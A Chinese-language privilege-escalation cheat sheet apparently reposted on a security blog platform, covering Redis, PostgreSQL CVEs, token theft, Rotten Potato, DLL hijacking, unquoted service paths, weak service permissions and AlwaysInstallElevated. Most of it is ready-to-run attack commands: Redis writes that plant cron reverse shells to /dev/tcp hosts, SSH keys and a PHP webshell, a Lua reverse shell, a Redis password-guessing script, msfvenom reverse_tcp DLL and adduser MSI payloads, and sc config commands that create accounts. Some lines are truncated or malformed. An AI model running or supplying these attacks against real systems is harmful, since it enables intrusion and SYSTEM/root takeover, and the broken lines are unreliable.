长亭百川云 - 文章详情

提权-Redis&Postgre&令牌窃取&进程注入

深潜之眼

56

2024-07-13

Redis

https://github.com/iSafeBlue/redis-rce

windows 开机自启项

把这段JS放到

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

这个目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

写计划任务执行命令反弹shell

主要是写在这些计划任务的目录下就好了

`/var/spool/cron/用户名``/var/spool/cron/crontabs/用户名``/etc/crontab``/etc/cron.d/xxx``   ``   ``redis-cli -h 192.168.2.6``set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"``config set dir /var/spool/cron/``config set dbfilename root``save`

写ssh-keygen公钥使用私钥登录

1.本地生成key

`ssh-keygen -t rsa  //注意结果没有换行``(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt``cat key.txt | redis-cli -h 192.168.1.8 -x set xxx``   ``is_rsa.pub``192.168.63.130:6379> config set dir /root/.ssh/``OK``192.168.63.130:6379> config set dbfilename authorized_keys``OK``192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"``OK``192.168.63.130:6379> save``OK``   ``ssh -i id_rsa root@192.168.63.130`

低权限写webshell

`config set dir /var/www/html/``config set dbfilename shell.php``set x "$_POST['caidao']);?>"``save`

未授权检测

`#! /usr/bin/env python``# _*_  coding:utf-8 _*_``import socket``import sys``   ``PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']``   ``def check(ip, port, timeout):`    `try:`        `socket.setdefaulttimeout(timeout)`        `s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`        `s.connect((ip, int(port)))`        `s.send("INFO\r\n")`        `result = s.recv(1024)``   `        `if "redis_version" in result:`            `return u"未授权访问"`        `elif "Authentication" in result:`            `for pass_ in PASSWORD_DIC:`                `s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`                `s.connect((ip, int(port)))`                `s.send("AUTH %s\r\n" %(pass_))`                `result = s.recv(1024)`                `if '+OK' in result:`                    `return u"存在弱口令,密码:%s" % (pass_)`    `except Exception, e:`        `pass``   ``if __name__ == '__main__':`    `ip=sys.argv[1]`    `port=sys.argv[2]`    `print check(ip,port, timeout=10)`

主从备份getshell

https://github.com/Ridter/redis-rce 

https://github.com/n0b0dyCN/redis-rogue-server

Lua RCE

https://github.com/QAX-A-Team/redis\_lua\_exploit/

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0

Postgre

CVE-2018-1058

CVE-2019-9193

令牌窃取

msf

`use incognito``list_token -u``impersonate_token 'xxx\Administrator'`

进程注入

pinjector 注入win2008以前的系统 

pexec64 32注入2008以后的系统(佛系)

烂土豆

上传烂土豆

执行烂土豆

利用窃取模块

窃取SYSTEM

提权原理

欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端

对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一些列的WINDOWS API调用实现的。

模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS MSSQL等)都具有这个权限,大多数用户级账户没有这个权限。

所以一般拿到webshell都是IIS权限,是具有模仿权限的,测试过程中,最好使用服务账户

烂土豆比热土豆的优点

100%可靠

全版本通杀(需要测试)

立即生效,不用像hot potato那样有时候需要等windows更新才能用。

通过中间人攻击,将COM(NT\SYSTEM权限)在第二部分挑战应答过程中认证的区块改成自己的区块获取system令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

`upload /root/potato.exe C:\Users\Public``cd C:\\Users\\Public``use incognito``list_tokens -u``execute -cH -f ./potato.exe``list_tokens -u``impersonate_token "NT AUTHORITY\SYSTEM"`

DLL劫持

原理

windows启动的时候需要加载dll,如果这些DLL不存在,则通过应用程序查找的位置放置恶意DLL来提权。通常Windows应用程序有预定义好的搜索DLL路径。

1.应用程序加载的路径

2.c:\windows\system32

3.c:\windows\system

4.c:\windows

5.当前工作目录Current Working Directory, CWD

6.在PATH环境变量的目录(先系统后用户)

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=1111 -f dll > /opt/xxx.dll

利用过程

1.查看进程

2.调试进程

3.制作DLL并上传

4.替换DLL

5.启动应用

不带引号服务路径安全问题

原理

当windows服务运行时,会发生一下两种情况。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释去执行。

但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分割的服务路径的第一个实例。

过程

检测引号服务路径

利用路径制作文件并上传

启动服务或重启

调用

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
`如果检测到的结果是``C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe``我们可以创建一个``C:\Program.exe``C:\Program Files (x86)\Cisco\Cisco.exe``当然需要判断路径是否可写``icacls C:\Program Files (x86)\Cisco``(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。``   ``重启``sc stop "服务名"``sc start "服务名"``   ``假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。``这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。``我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:``set AutoRunScript migrate -f`

不安全的服务权限问题

即使正确应用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件

过程

检测服务权限配置

制作文件并上传

更改服务路径只想

调用后成功

`找到对应服务``给这个服务设置新的路径``重启这个服务``   ``   ``accesschk.exe -uwcqv "administrators" *``   ``利用1,利用MSF后门马``sc config "NewServiceName" binpath="C:\test.exe"``sc start "NewServiceName"``   ``   ``利用2,直接执行命令``修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。``如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。``sc config PFNET binpath= "net user test P@ssword123! /add"``sc stop PFNET``sc start PFNETsc config PFNET binpath= "net localgroup test P@ssword123! /add"``sc stop PFNET``sc start PFNET``   ``当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,``它必须和服务控制管理器通信。``如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。`

不安全的安装

AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。

默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用:

`[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001``   ``[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001`

利用步骤

1.查询是否有漏洞

`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedor``reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`

2.如果有漏洞提示1 

 

3. 如果没有漏洞提示报错

`C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated``reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated``ERROR: The system was unable to find the specified registry key or value.`

4.生成MSI,执行MSI

`msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi``msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi`
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2